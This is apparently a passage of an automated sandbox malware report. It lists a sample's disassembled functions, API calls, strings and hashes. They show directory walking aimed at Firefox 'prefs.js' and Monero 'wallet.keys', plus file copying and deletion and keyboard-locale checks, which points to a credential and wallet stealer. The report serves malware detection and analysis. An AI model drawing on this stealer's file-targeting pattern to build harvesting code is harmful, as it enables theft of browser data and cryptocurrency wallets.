StrCmpCA.SHLWAPI(?,00E30FC8), ref: 00E24601
FindNextFileA.KERNEL32(000000FF,?), ref: 00E2468B
FindClose.KERNEL32(000000FF), ref: 00E246A0
lstrcat.KERNEL32(?,008FE520), ref: 00E246C5
lstrcat.KERNEL32(?,008FD5B8), ref: 00E246D8
lstrlen.KERNEL32(?), ref: 00E246E5
lstrlen.KERNEL32(?), ref: 00E246F6

Strings

%s\%s, xrefs: 00E2461B
%s\*, xrefs: 00E2459A

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 470b211d5960f3594c3677fa2c6c37a282dc993530902d505cd876b1c064c448
Instruction ID: 46be5967a9ef630259e99679ac56e5ef86d931bae752b1723908ef22a290d51d
Opcode Fuzzy Hash: 470b211d5960f3594c3677fa2c6c37a282dc993530902d505cd876b1c064c448
Instruction Fuzzy Hash: 7B5136B16403189BC764EB70DC89FEE777CBB58700F405688B64AA6184EB759B84CF91

Function 00E23EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E23EC3
FindFirstFileA.KERNEL32(?,?), ref: 00E23EDA
StrCmpCA.SHLWAPI(?,00E30FAC), ref: 00E23F08
StrCmpCA.SHLWAPI(?,00E30FB0), ref: 00E23F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00E2406C
FindClose.KERNEL32(000000FF), ref: 00E24081

Strings

%s\%s, xrefs: 00E23EB7

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4b5305f82662e2af9a76a24f9cd3b3c7a61e7ab1eb3f07d67f735ee3dbc3a62e
Instruction ID: e37ae46cad913b817dd1cf38ca4bca68008501c1edfbbef87f14dfd3f0eff7ab
Opcode Fuzzy Hash: 4b5305f82662e2af9a76a24f9cd3b3c7a61e7ab1eb3f07d67f735ee3dbc3a62e
Instruction Fuzzy Hash: 125136B6900318EBCB24EBB0DC85EFA73BCBB48300F445699B659A6044DB759B85CF51

Function 00E1ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E1ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00E1ED55
StrCmpCA.SHLWAPI(?,00E31538), ref: 00E1EDAB
StrCmpCA.SHLWAPI(?,00E3153C), ref: 00E1EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1F2AE
FindClose.KERNEL32(000000FF), ref: 00E1F2C3

Strings

%s\*.*, xrefs: 00E1ED32

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: ee0a9b4f9c9fe91ff8472610fee7ff1547160288891c7525d2b2daa9284618d3
Instruction ID: 54975bbff9bf44370452d8581c95666df66887fbc06bf3f240acf51275481c95
Opcode Fuzzy Hash: ee0a9b4f9c9fe91ff8472610fee7ff1547160288891c7525d2b2daa9284618d3
Instruction Fuzzy Hash: 38E110729112289BDB18EB60EC56EEE73B8AF54300F4455E9F50A72052EE706F8ACF51

Function 00E1F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E315B8,00E30D96), ref: 00E1F71E
StrCmpCA.SHLWAPI(?,00E315BC), ref: 00E1F76F
StrCmpCA.SHLWAPI(?,00E315C0), ref: 00E1F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1FAB1
FindClose.KERNEL32(000000FF), ref: 00E1FAC3

Strings

prefs.js, xrefs: 00E1F812

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 4f9c8f3c6ffc39df9c9072ea3dd65b312a0e57aca2256792a242fd94ceb4afde
Instruction ID: e52a2680a161888cbd5d2c1df9e7022c2138183b77db2e4dd222732722ae42eb
Opcode Fuzzy Hash: 4f9c8f3c6ffc39df9c9072ea3dd65b312a0e57aca2256792a242fd94ceb4afde
Instruction Fuzzy Hash: 1DB136719002189BDB28FF60EC56AEE73B9AF94300F4495B9E50AB7181EF315B49CF91

Function 00E116D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E3510C,?,?,?,00E351B4,?,?,00000000,?,00000000), ref: 00E11923
StrCmpCA.SHLWAPI(?,00E3525C), ref: 00E11973
StrCmpCA.SHLWAPI(?,00E35304), ref: 00E11989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E11D40
DeleteFileA.KERNEL32(00000000), ref: 00E11DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00E11E20
FindClose.KERNEL32(000000FF), ref: 00E11E32

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Strings

\*.*, xrefs: 00E117F1

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e978330bbd6e029185a568848cc9c1066f7f955391e220369c2305c670cf5cd8
Instruction ID: 0f1d9bd41494682a24523d291b536e525793f7fa7fd2a0aa70511b3955afda5f
Opcode Fuzzy Hash: e978330bbd6e029185a568848cc9c1066f7f955391e220369c2305c670cf5cd8
Instruction Fuzzy Hash: 9812E0729101289BDB1DFB60EC9AAEE73B8AF54300F4455A9F50672091EF706F89CF91

Function 00E1DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00E30C2E), ref: 00E1DE5E
StrCmpCA.SHLWAPI(?,00E314C8), ref: 00E1DEAE
StrCmpCA.SHLWAPI(?,00E314CC), ref: 00E1DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1E3E0
FindClose.KERNEL32(000000FF), ref: 00E1E3F2

Strings

\*.*, xrefs: 00E1DE26

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 165e9b7053f92b5fb73f25a639a697041f66c74ea51ba8056da140ed240318e0
Instruction ID: 29ddc383a21ee4f526e0f859f779770b36504b2f0f96ce3eebf02c4b3d202cba
Opcode Fuzzy Hash: 165e9b7053f92b5fb73f25a639a697041f66c74ea51ba8056da140ed240318e0
Instruction Fuzzy Hash: 1BF19F729141289BDB1DEB60EC95AEE73B8BF58300F4461E9F41A72051EF706B89CF51

Function 00E1DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E314B0,00E30C2A), ref: 00E1DAEB
StrCmpCA.SHLWAPI(?,00E314B4), ref: 00E1DB33
StrCmpCA.SHLWAPI(?,00E314B8), ref: 00E1DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1DDCC
FindClose.KERNEL32(000000FF), ref: 00E1DDDE

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f91edd60a16b23e9a16494a05c6d175838209d8d7a1323b711ddfcabba946a51
Instruction ID: 6886ee9d292d3b803e033a5fde1858b115ba2788f55d19de115cd30c33a782a7
Opcode Fuzzy Hash: f91edd60a16b23e9a16494a05c6d175838209d8d7a1323b711ddfcabba946a51
Instruction Fuzzy Hash: 109156729002149BCB18FF70FC569EE73BDAF88300F449669F946B6145EE349B49CB92

Function 011DEE87 Relevance: 11.6, Strings: 8, Instructions: 1575COMMON

Download Yara Rule

Strings

ESnk, xrefs: 011DFFDD
CE+, xrefs: 011DF7A6
n,^{, xrefs: 011DF1FE
7n, xrefs: 011DFCF4
yS, xrefs: 011DF266
xbW=, xrefs: 011DF0E8
-e/, xrefs: 011DF460
*J;, xrefs: 011DF71E, 011DF8CD

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *J;$-e/$7n$CE+$ESnk$n,^{$xbW=$yS
API String ID: 0-3276988427
Opcode ID: 0c0b97c61dd462f0af491a582f0c5f61af13ca49d27e77e556a90529dfd36ff8
Instruction ID: 64275b43aec34b6851db1d405ee43315342fa3344fc1ec66017b54f09a01c397
Opcode Fuzzy Hash: 0c0b97c61dd462f0af491a582f0c5f61af13ca49d27e77e556a90529dfd36ff8
Instruction Fuzzy Hash: 03A218F360C204AFE3046E2DEC8567ABBE9EFD4720F168A3DE6C5C7744E63558058692

Function 00E27B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

GetKeyboardLayoutList.USER32(00000000,00000000,00E305AF), ref: 00E27BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00E27BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00E27C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00E27C62
LocalFree.KERNEL32(00000000), ref: 00E27D22

Strings

/ , xrefs: 00E27C7F

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f665afd0e21e2cb5caef8575005c059a6fe7cb7f6ee9fc486a86065749cbb8a2
Instruction ID: bccc114735bc7f1e161989dec7c595c6814c4e661c1fe5ba3e8458cb1d56331b
Opcode Fuzzy Hash: f665afd0e21e2cb5caef8575005c059a6fe7cb7f6ee9fc486a86065749cbb8a2
Instruction Fuzzy Hash: 40412E71940228ABDB24DF54EC99BEEB7B4FF48700F204199E50A76281DB742F85CFA1

Function 00E1E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00E30D73), ref: 00E1E4A2
StrCmpCA.SHLWAPI(?,00E314F8), ref: 00E1E4F2
StrCmpCA.SHLWAPI(?,00E314FC), ref: 00E1E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00E1EBDF

Strings

\*.*, xrefs: 00E1E44D

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
